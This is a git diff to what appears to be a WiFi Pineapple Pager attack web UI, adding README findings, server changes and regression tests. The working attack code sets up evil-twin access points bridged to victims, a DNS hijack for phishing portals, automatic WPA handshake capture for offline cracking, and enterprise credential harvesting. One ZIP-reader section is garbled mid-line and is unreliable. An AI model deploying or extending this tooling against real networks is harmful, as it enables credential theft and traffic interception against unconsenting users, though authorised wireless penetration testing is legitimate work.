diff --git a/.gitignore b/.gitignore index 75cfdc1..f81a93d 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,4 @@ __pycache__/ .openchamber/ .opencode/ +evidence/ diff --git a/README.md b/README.md index b7ae65b..336c26d 100644 --- a/README.md +++ b/README.md @@ -169,6 +169,34 @@ zero crashes over sustained watches): `GET /api/health` reports pineapd/monitor state; the top bar shows a PINEAP OK / POOL OFF / PINEAPD DOWN chip. +### Live validation findings (v1.4.x, Pager 24.10.1) + +Fixed after an on-hardware attack validation pass: + +1. **Evil Portal import** no longer uses `zipfile` (pulls + `pathlib → urllib`, absent from python3-light). A minimal + `struct`+`zlib` ZIP reader handles stored/deflate entries. +2. **Portal DNS hijack** now uses `uci add_list/del_list` + (`dhcp.@dnsmasq[0].address` is a list option; a plain `uci set` was + silently dropped from the generated dnsmasq config). +3. **5 GHz attack APs are bridged** into `br-lan` + (`network.brlan.ports`) so victims get DHCP/portal reach; the + standalone enterprise AP (`wlan1ent`) is runtime-bridged after its + hostapd instance verifies ENABLED (the retry loop may recreate it). +4. **5 GHz WPA deploys auto-start a pinned `wlan1mon` capture** and the + matching stop tears it down: loot flows via pcap → `.hc22000` export + instead of the dead daemon path below. + +Residual firmware limitation (not fixable in-process): pineapd refuses +handshake/PineAPE forwarding from hostapd instances it did not provision +itself (`PINEAP: could not send ... Broken pipe`), and the stock daemon's +`set_ap` rejects radio1 interface names ("Invalid access point +interface"). Consequences: `hostap_handshake` rows never populate for +radio1 evil twins (use the auto-capture + `.hc22000` export, which is +crack-verified end-to-end), and enterprise credentials never reach +`hostap_basic`/`hostap_chalresp` even though the AP terminates +PEAP/MSCHAPv2 successfully. Fixing these requires a Hak5 pineapd change. + ## Security notes - Auth via device password validated against the daemon; HttpOnly session diff --git a/payload/user/remote_access/pager-webui/server.py b/payload/user/remote_access/pager-webui/server.py index a831879..c8978d8 100644 --- a/payload/user/remote_access/pager-webui/server.py +++ b/payload/user/remote_access/pager-webui/server.py @@ -3481,9 +3481,13 @@ def _resume_hop(): def _remove_radio1_ap(): device_run(['uci', 'delete', 'wireless.wlan1open']) device_run(['uci', 'delete', 'wireless.wlan1wpa']) + for iface in ('wlan1open', 'wlan1wpa'): + device_run(['uci', 'del_list', 'network.brlan.ports=%s' % iface], + timeout=10) device_run(['uci', 'set', 'wireless.radio1.channel=auto']) device_run(['uci', 'set', 'wireless.radio1.band=5g']) device_run(['uci', 'commit', 'wireless']) + device_run(['uci', 'commit', 'network']) _resume_hop() @@ -3530,7 +3534,12 @@ def _apply_radio1_ap(openap, wpa): if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid.upper()): raise ValueError('invalid BSSID format') device_run(['uci', 'set', 'wireless.%s.macaddr=%s' % (iface, bssid.upper())]) + # Bridge the attack AP into the LAN segment (DHCP/portal reach). + # netifd attaches the port once wifi reload creates the iface. + device_run(['uci', 'del_list', 'network.brlan.ports=%s' % iface], timeout=10) + device_run(['uci', 'add_list', 'network.brlan.ports=%s' % iface], timeout=10) device_run(['uci', 'commit', 'wireless']) + device_run(['uci', 'commit', 'network']) _pause_hop() device_run(['wifi', 'reload']) @@ -3773,12 +3782,15 @@ def _deploy_wpa_open(kind, fields): iface = 'wlan1open' if band != BAND_2G and kind == 'wpa': # pineapd only logs own-AP handshakes for the iface named in - # pineapd.@hostapd[0].wpaiface (radio0). Pointing mgmtiface at the + # pineapd.@hostapd[0].mgmtiface (radio0). Pointing mgmtiface at the # radio1 twin makes pineapd recognize it too, so hostap_handshake # rows and /root/loot/handshakes populate for 5 GHz attacks. device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=wlan1wpa']) device_run(['uci', 'commit', 'pineapd']) + # pineapd only reads mgmtiface at startup; a reload does not make it + # accept the twin's hostapd connection (broken-pipe, no loot). + device_run(['/etc/init.d/pineapd', 'restart'], timeout=25) _enable_attack_engine() _allow_all_ssids() # The daemon applies AP changes asynchronously; allow a full reload cycle. @@ -3794,9 +3806,18 @@ def _deploy_wpa_open(kind, fields): body={'configs': [daemon_cfg]}, timeout=45) if status == 200: verified = _verify_iface(iface, timeout=30) + capture = None + if verified and band != BAND_2G and kind == 'wpa': + # pineapd will not log handshakes for this foreign hostapd instance; + # loot the 4-ways from a pinned monitor capture instead. + try: + capture = _ensure_attack_capture('wlan1mon') + except Exception: + capture = None return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band, 'channel': int(channel or 1), 'auto': fields.get('channel') is None, - 'verified': verified} + 'verified': verified, + **({'capture': True} if capture else {})} def _disable_enterprise_ap(resume_hop=True): @@ -4348,13 +4369,24 @@ def _deploy_enterprise(fields): device_run(['ip', 'link', 'set', ENT_IFACE, 'up']) if not verified: raise RuntimeError('hostapd failed to start for enterprise AP: %s' % last_err) + # wlan1ent is not netifd-managed and the retry loop may have recreated + # it, so bridge it only after the instance is verified ENABLED; victims + # otherwise associate but never reach DHCP/the portal. + device_run(['brctl', 'addif', 'br-lan', ENT_IFACE], timeout=10) ctrl = { 'pineap_enable': _ent_ctrl('pineap_enable')[0], 'pineape_enable': _ent_ctrl('pineape_enable')[0], 'pineape_auth_enable': _ent_ctrl('pineape_auth_enable')[0], } linked = _link_ent_ctrl() - device_run(['/etc/init.d/pineapd', 'reload'], timeout=20) + # Restart (not reload): pineapd must rescan the stock hostapd ctrl dir + # at startup to accept wlan1ent's connection, or PineAPE auth events + # never reach recon.db (hostap_basic/hostap_chalresp stay empty). + device_run(['/etc/init.d/pineapd', 'restart'], timeout=25) + # The restart drops pineapd-side peers; re-assert the instance toggles + # so the fresh connection carries karma/PineAPE/auth-pass state. + for _cmd in ('pineap_enable', 'pineape_enable', 'pineape_auth_enable'): + _ent_ctrl(_cmd) try: with open(ENT_STATE, 'w') as f: json.dump({ @@ -4554,6 +4586,11 @@ def h_attacks_stop(ctx): if rc == 0 and out.strip() == 'wlan1wpa': device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface']) device_run(['uci', 'commit', 'pineapd']) + if kind == 'wpa': + try: + _teardown_attack_capture('wlan1mon') + except Exception: + pass # Leave hop alone if a radio1 AP is still active. if not _radio1_ap_active(): _resume_hop() @@ -4594,13 +4631,54 @@ def _capture_state(pidfile, iface): return True, pid, False +def _ensure_attack_capture(iface): + """Start a monitor pcap capture (best-effort). Returns info dict or None. + + Used to auto-loot 5 GHz evil-twin EAPOL: pineapd refuses handshake + forwarding from foreign hostapd instances on this firmware, so the + passive wlan1mon capture (pinned to the twin's channel) is the only + loot source; /api/attacks/export/hc22000 consumes it.""" + pidfile = '/tmp/mk8_capture_%s.pid' % iface + running, old, _ = _capture_state(pidfile, iface) + if running: + return {'running': True, 'pid': old, 'iface': iface} + capdir = '/root/loot/pcap' + device_run(['mkdir', '-p', capdir], timeout=10) + path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time())) + errlog = '/tmp/mk8_capture_%s.log' % iface + rc, out, err = device_run( + ['sh', '-c', + 'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s' + % (iface, path, errlog, pidfile)], timeout=10) + try: + with open(pidfile) as f: + pid = int(f.read().strip()) + except (OSError, ValueError): + pid = None + if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid): + return None + return {'running': True, 'pid': pid, 'path': path, 'iface': iface} + + +def _teardown_attack_capture(iface): + """Stop a monitor capture started by _ensure_attack_capture, if any.""" + pidfile = '/tmp/mk8_capture_%s.pid' % iface + running, old, _ = _capture_state(pidfile, iface) + if old is not None: + device_run(['kill', str(old)], timeout=10) + try: + os.unlink(pidfile) + except OSError: + pass + return running + + def h_attacks_capture(ctx): body = ctx.body or {} action = body.get('action') or 'status' iface = body.get('iface') if iface is not None and iface not in ('wlan0mon', 'wlan1mon'): return 400, {'error': 'iface must be wlan0mon or wlan1mon'} - capdir = '/root/loot/pcap' if iface is None: # No iface requested: report whichever capture is actually running # across both monitors, else fall back to the default monitor. This @@ -4620,38 +4698,20 @@ def h_attacks_capture(ctx): pidfile = '/tmp/mk8_capture_%s.pid' % iface running, old, stale = _capture_state(pidfile, iface) if action == 'start': - if running: - return 200, {'running': True, 'pid': old, 'iface': iface} - device_run(['mkdir', '-p', capdir], timeout=10) - path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time())) - errlog = '/tmp/mk8_capture_%s.log' % iface - rc, out, err = device_run( - ['sh', '-c', - 'setsid tcpdump -i %s -s 3000 -w %s >%s 2>&1 & echo $! > %s' - % (iface, path, errlog, '/tmp/mk8_capture_%s.pid' % iface)], timeout=10) - try: - with open('/tmp/mk8_capture_%s.pid' % iface) as f: - pid = int(f.read().strip()) - except (OSError, ValueError): - pid = None - if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid): - detail = (err or out)[-300:] + result = _ensure_attack_capture(iface) + if result is None: + detail = '' try: - with open(errlog) as f: - detail = (detail + ' ' + f.read().strip())[-300:] + with open('/tmp/mk8_capture_%s.log' % iface) as f: + detail = f.read().strip()[-300:] except OSError: pass return 502, {'error': 'tcpdump failed to start', - 'iface': iface, 'detail': detail.strip()} - return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface} + 'iface': iface, 'detail': detail} + return 200, result if action == 'stop': - if old is not None: - device_run(['kill', str(old)], timeout=10) - try: - os.unlink('/tmp/mk8_capture_%s.pid' % iface) - except OSError: - pass - return 200, {'running': False, 'stopped': old, 'iface': iface} + stopped = _teardown_attack_capture(iface) + return 200, {'running': False, 'stopped': stopped, 'iface': iface} # status return 200, {'running': running, 'iface': iface, 'stale': stale, 'pid': old} @@ -4835,17 +4895,72 @@ def _portal_list(): return portals +_EOCD_SIG = b'PK\x05\x06' +_CDH_SIG = b'PK\x01\x02' + + +def _zip_entries(data_bytes): + """Minimal ZIP reader built on struct+zlib only. + + python3-light has no zipfile (it pulls pathlib -> urllib, both missing + on Pager 24.10.1), so portal import parses the central directory by + hand. Supports stored (0) and deflate (8); encrypted/zip64 -> ValueError. + Returns {name: bytes} for file entries (directories skipped).""" + import struct + try: + import zlib + except ImportError: + zlib = None + eocd = data_bytes.rfind(_EOCD_SIG) + if eocd < 0 or eocd + 22 > len(data_bytes): + raise ValueError('not a valid zip file') + (_, disk, cd_disk, _, n_total, cd_size, cd_off, + _) = struct.unpack('<4sHHHHIIH', data_bytes[eocd:eocd + 22]) + if disk or cd_disk or n_total == 0xFFFF or cd_off == 0xFFFFFFFF: + raise ValueError('unsupported zip layout (multi-disk/zip64)') + pos, end = cd_off, min(cd_off + cd_size, len(data_bytes)) + out = {} + while pos + 46 <= end: + hdr = data_bytes[pos:pos + 46] + if hdr[:4] != _CDH_SIG: + break + (_, _, _, flags, method, _, _, _, csize, _, + nlen, elen, clen2, _, _, _, loff) = struct.unpack( + '<4sHHHHHHIIIHHHHHII', hdr) + name = data_bytes[pos + 46:pos + 46 + nlen].decode('utf-8', 'replace') + pos += 46 + nlen + elen + clen2 + if name.endswith('/'): + continue + if flags & 0x1: + raise ValueError('encrypted zip entries are not supported') + lnlen, lelen = struct.unpack(' PORTAL_MAX_ZIP_BYTES: raise ValueError('portal zip too large (max %d bytes)' % PORTAL_MAX_ZIP_BYTES) try: - zf = zipfile.ZipFile(_io.BytesIO(data_bytes)) + entries = _zip_entries(data_bytes) + except ValueError: + raise except Exception: raise ValueError('not a valid zip file') - names = [n for n in zf.namelist() if n and not n.endswith('/')] + names = sorted(entries) if not names: raise ValueError('empty zip file') for n in names: @@ -4864,7 +4979,7 @@ def _portal_import(data_bytes, requested_name=None): if n[len(prefix):].count('/') == 0 and n.endswith('.ep')] if ep_files: try: - meta = json.loads(zf.read(ep_files[0]).decode('utf-8', 'replace')) + meta = json.loads(entries[ep_files[0]].decode('utf-8', 'replace')) candidate = meta.get('name') if candidate and PORTAL_NAME_RE.match(str(candidate)): meta_name = str(candidate) @@ -4887,7 +5002,7 @@ def _portal_import(data_bytes, requested_name=None): raise ValueError('unsafe path in zip: %s' % src) os.makedirs(os.path.dirname(dest), exist_ok=True) with open(dest, 'wb') as f: - f.write(zf.read(src)) + f.write(entries[src]) return name @@ -4899,11 +5014,14 @@ def _lan_ip(): def _portal_dns_hijack(enable): ip = _lan_ip() + # dhcp.@dnsmasq[0].address is a LIST option for the dnsmasq init script; + # a plain `uci set` is silently dropped from /var/etc/dnsmasq.conf.*. + opt = 'dhcp.@dnsmasq[0].address=/#/%s' % ip if enable: - device_run(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/%s' % ip], timeout=10) + device_run(['uci', 'del_list', opt], timeout=10) + device_run(['uci', 'add_list', opt], timeout=10) else: - # Absent option / fresh config both fine; ignore failures. - device_run(['uci', 'delete', 'dhcp.@dnsmasq[0].address'], timeout=10) + device_run(['uci', 'del_list', opt], timeout=10) device_run(['uci', 'commit', 'dhcp'], timeout=10) device_run(['/etc/init.d/dnsmasq', 'restart'], timeout=30) diff --git a/tests/test_validation_fixes.py b/tests/test_validation_fixes.py new file mode 100644 index 0000000..15b21a9 --- /dev/null +++ b/tests/test_validation_fixes.py @@ -0,0 +1,359 @@ +"""Regression tests for validation-suite findings (#1-#5). + +#1 portal zip import without zipfile/pathlib/urllib (python3-light) +#2 DNS hijack uses uci add_list/del_list (list option, not string option) +#3 radio1 attack APs are bridged into br-lan (uci ports list + runtime brctl) +#4 5 GHz WPA deploys restart pineapd after setting mgmtiface so handshake + logging engages (reload is not enough) +#5 enterprise deploy links ctrl then restarts pineapd (not reload) so + PineAPE auth-pass events reach recon.db +""" +import base64 +import io +import json +import os +import shutil +import sys +import tempfile +import unittest +import zipfile + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', + 'user', 'remote_access', 'pager-webui')) +import server + + +def setUpModule(): + __import__('importlib').reload(server) + + +def ctx(body=None): + return type('C', (), {'body': body or {}, 'args': (), 'query': {}})() + + +class FakeUciDevice: + """In-memory uci + device_run fake with add_list/del_list support.""" + + def __init__(self): + self.state = {} + self.lists = {} + self.runs = [] + self.sock = [] + + def device_run(self, args, timeout=20, input_data=None): + self.runs.append((list(args), input_data)) + a = list(args) + if a[:2] == ['uci', 'set']: + k, _, v = a[2].partition('=') + self.state[k] = v + elif a[:2] == ['uci', 'add_list']: + k, _, v = a[2].partition('=') + self.lists.setdefault(k, []) + if v not in self.lists[k]: + self.lists[k].append(v) + elif a[:2] == ['uci', 'del_list']: + k, _, v = a[2].partition('=') + lst = self.lists.get(k, []) + if v in lst: + lst.remove(v) + elif a[:2] == ['uci', 'get']: + return (0, self.state.get(a[2], '') + '\n', '') + elif a[:2] == ['uci', 'delete']: + for k in list(self.state): + if k == a[2] or k.startswith(a[2] + '.'): + del self.state[k] + self.lists.pop(a[2], None) + elif a[:2] == ['uci', 'show']: + sec = a[2] + out = ''.join("%s=%s\n" % (k, v) for k, v in self.state.items() + if k == sec or k.startswith(sec + '.')) + return (0, out, '') + elif a[0] == 'hostapd_cli' and a[-1] == 'status': + return (0, 'state=ENABLED\nssid[0]=test\n', '') + return (0, '', '') + + def daemon_sock_call(self, method, path, body=None, timeout=10): + self.sock.append((method, path, body)) + if path == '/api/pineap/hostapd/get_config': + return 200, {'pineape_disabled': False, + 'pineape_auth_pass': True} + return 200, {'success': True} + + +INDEX_PHP = b'
' + + +def make_zip(files, top_dir=None): + buf = io.BytesIO() + with zipfile.ZipFile(buf, 'w') as zf: + for name, data in files.items(): + zf.writestr((top_dir + '/' if top_dir else '') + name, data) + return buf.getvalue() + + +class BlockZipfile: + """Import hook that simulates python3-light: no zipfile module.""" + + def find_module(self, fullname, path=None): # noqa: D401 (legacy hook ok) + return self if fullname == 'zipfile' else None + + def find_spec(self, fullname, path=None, target=None): + if fullname == 'zipfile': + raise ImportError('No module named \'zipfile\'') + return None + + def load_module(self, fullname): + raise ImportError('No module named \'zipfile\'') + + +class DnsHijackListOpsTest(unittest.TestCase): + """#2: hijack must use uci list ops so dnsmasq init sees the option.""" + + def setUp(self): + self.f = FakeUciDevice() + self.old_run = server.device_run + server.device_run = self.f.device_run + + def tearDown(self): + server.device_run = self.old_run + + def test_enable_uses_add_list_never_set(self): + server._portal_dns_hijack(True) + cmds = [r[0] for r in self.f.runs] + add = [c for c in cmds if c[:2] == ['uci', 'add_list']] + self.assertEqual(len(add), 1) + self.assertTrue(add[0][2].startswith('dhcp.@dnsmasq[0].address=/#/')) + self.assertNotIn(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/172.16.52.1'], + cmds) + + def test_enable_is_idempotent_del_before_add(self): + server._portal_dns_hijack(True) + server._portal_dns_hijack(True) + adds = [r for r, _ in self.f.runs + if r[:2] == ['uci', 'add_list']] + dels = [r for r, _ in self.f.runs + if r[:2] == ['uci', 'del_list']] + self.assertEqual(len(adds), 2) + self.assertEqual(len(dels), 2) + self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'), + ['/#/172.16.52.1']) + + def test_disable_removes_entry_and_restarts_dnsmasq(self): + server._portal_dns_hijack(True) + before = len(self.f.runs) + server._portal_dns_hijack(False) + tail = [r for r, _ in self.f.runs[before:]] + self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'), []) + self.assertIn(['/etc/init.d/dnsmasq', 'restart'], tail) + + +class ZipImportWithoutZipfileTest(unittest.TestCase): + """#1: import must work where zipfile/pathlib/urllib are absent.""" + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix='mk8-fix1-') + self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, + server.PORTAL_CAPTURES_FILE) + server.PORTALS_DIR = self.tmp + server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active') + server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl') + + def tearDown(self): + server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \ + server.PORTAL_CAPTURES_FILE = self.old + shutil.rmtree(self.tmp, ignore_errors=True) + + def _import_blocked(self, data_bytes, name=None): + blocker = BlockZipfile() + saved = sys.modules.pop('zipfile', None) + sys.meta_path.insert(0, blocker) + try: + return server._portal_import(data_bytes, name) + finally: + sys.meta_path.remove(blocker) + if saved is not None: + sys.modules['zipfile'] = saved + + def test_deflate_zip_extracts_without_zipfile(self): + buf = io.BytesIO() + with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: + zf.writestr('index.php', INDEX_PHP * 8) + zf.writestr('assets/style.css', b'body{}' + b'\n' * 400) + raw = buf.getvalue() + name = self._import_blocked(raw) + root = os.path.join(self.tmp, name) + with open(os.path.join(root, 'index.php'), 'rb') as f: + self.assertEqual(f.read(), INDEX_PHP * 8) + self.assertTrue(os.path.isfile( + os.path.join(root, 'assets', 'style.css'))) + + def test_stored_zip_extracts_without_zipfile(self): + buf = io.BytesIO() + with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf: + zf.writestr('index.php', INDEX_PHP) + name = self._import_blocked(buf.getvalue()) + self.assertTrue(os.path.isfile( + os.path.join(self.tmp, name, 'index.php'))) + + def test_nested_top_dir_flattens_without_zipfile(self): + raw = make_zip({'index.php': INDEX_PHP}, top_dir='portal-x') + name = self._import_blocked(raw) + self.assertEqual(name, 'portal-x') + self.assertFalse(os.path.isdir( + os.path.join(self.tmp, 'portal-x', 'portal-x'))) + + def test_garbage_raises_valueerror_without_zipfile(self): + with self.assertRaises(ValueError): + self._import_blocked(b'not a zip') + + +class Radio1BridgeTest(unittest.TestCase): + """#3: radio1 attack APs join br-lan via network.brlan.ports.""" + + def setUp(self): + self.f = FakeUciDevice() + self.old_run = server.device_run + server.device_run = self.f.device_run + + def tearDown(self): + server.device_run = self.old_run + + def test_apply_wpa_adds_bridge_port(self): + server._apply_radio1_ap(None, {'ssid': 'Znet', + 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, + 'enabled': True, 'channel': 157}) + self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1wpa']) + cmds = [r for r, _ in self.f.runs] + self.assertIn(['uci', 'commit', 'network'], cmds) + + def test_apply_open_adds_bridge_port(self): + server._apply_radio1_ap({'ssid': 'Znet-Open', 'hidden': False, + 'enabled': True, 'channel': 36, + 'bssid': '', 'country': 'US'}, None) + self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1open']) + + def test_remove_drops_both_bridge_ports(self): + self.f.lists['network.brlan.ports'] = ['eth0', 'wlan1wpa', 'wlan1open'] + server._remove_radio1_ap() + self.assertEqual(self.f.lists.get('network.brlan.ports'), ['eth0']) + + +class DeployPineapdRestartTest(unittest.TestCase): + """#4/#5: pineapd restart (not reload) after mgmtiface/link wiring.""" + + def setUp(self): + self.f = FakeUciDevice() + server.device_run = self.f.device_run + server.daemon_sock_call = self.f.daemon_sock_call + server._uci_wifi_iface = lambda name: {} + server._verify_iface = lambda name, timeout=20: True + server._allow_all_ssids = lambda: True + server._best_channel_for = lambda ssid: None + self.capture_starts = [] + self.capture_stops = [] + self.old_cap_start = getattr(server, '_ensure_attack_capture', None) + self.old_cap_stop = getattr(server, '_teardown_attack_capture', None) + server._ensure_attack_capture = \ + lambda iface: (self.capture_starts.append(iface) or + {'running': True, 'pid': 1, 'iface': iface}) + server._teardown_attack_capture = \ + lambda iface: self.capture_stops.append(iface) + self.tmp = tempfile.mkdtemp(prefix='mk8-fix45-') + self.old_state = server.PINEAP_STATE_FILE + server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json') + self.old_ent = {k: getattr(server, k) for k in + ('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE', + 'ENT_DIR', 'ENT_CA_CERT', 'ENT_SERVER_CERT', + 'ENT_SERVER_KEY', 'ENT_LOG', 'ENT_CAPTURES', + 'ENT_DH_FILE')} + server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf') + server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid') + server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users') + server.ENT_STATE = os.path.join(self.tmp, 'ent-state.json') + server.ENT_DIR = os.path.join(self.tmp, 'ent') + server.ENT_CA_CERT = os.path.join(server.ENT_DIR, 'ca.pem') + server.ENT_SERVER_CERT = os.path.join(server.ENT_DIR, 'server.pem') + server.ENT_SERVER_KEY = os.path.join(server.ENT_DIR, 'server.key') + server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log') + server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json') + server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem') + os.makedirs(server.ENT_DIR, exist_ok=True) + for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT, + server.ENT_SERVER_KEY, server.ENT_DH_FILE): + with open(p, 'w') as f: + f.write('stub\n') + + def tearDown(self): + server.PINEAP_STATE_FILE = self.old_state + if self.old_cap_start is not None: + server._ensure_attack_capture = self.old_cap_start + else: + delattr(server, '_ensure_attack_capture') + if self.old_cap_stop is not None: + server._teardown_attack_capture = self.old_cap_stop + else: + delattr(server, '_teardown_attack_capture') + for k, v in self.old_ent.items(): + setattr(server, k, v) + shutil.rmtree(self.tmp, ignore_errors=True) + + def _runs(self): + return [r for r, _ in self.f.runs] + + def test_wpa_5g_restarts_pineapd_after_mgmtiface_before_engine(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 36})) + self.assertEqual(status, 200) + runs = self._runs() + mgmt = runs.index(['uci', 'set', + 'pineapd.@hostapd[0].mgmtiface=wlan1wpa']) + restarts = [i for i, r in enumerate(runs) + if r == ['/etc/init.d/pineapd', 'restart']] + self.assertEqual(len(restarts), 1) + # pineapd must learn mgmtiface at startup, i.e. after the uci write + self.assertGreater(restarts[0], mgmt) + + def test_wpa_2g4_does_not_restart_pineapd(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 6})) + self.assertEqual(status, 200) + self.assertNotIn(['/etc/init.d/pineapd', 'restart'], self._runs()) + + def test_wpa_5g_autostarts_monitor_capture(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 36})) + self.assertEqual(status, 200) + self.assertEqual(self.capture_starts, ['wlan1mon']) + self.assertTrue(payload.get('capture'), 'deploy should report capture') + + def test_wpa_2g4_skips_monitor_capture(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 6})) + self.assertEqual(status, 200) + self.assertEqual(self.capture_starts, []) + + def test_stop_wpa_tears_down_monitor_capture(self): + server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'hidden': False, 'channel': 36})) + status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'})) + self.assertEqual(status, 200) + self.assertIn('wlan1mon', self.capture_stops) + + def test_enterprise_restart_after_link_and_bridges_iface(self): + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', + 'passphrase': 'Winter2026Labs!', 'channel': 36})) + self.assertEqual(status, 200) + runs = self._runs() + bridge = runs.index(['brctl', 'addif', 'br-lan', 'wlan1ent']) + restarts = [i for i, r in enumerate(runs) + if r == ['/etc/init.d/pineapd', 'restart']] + self.assertEqual(len(restarts), 1) + # the ctrl link (and therefore the bridge add) precedes the restart + self.assertGreater(restarts[0], bridge)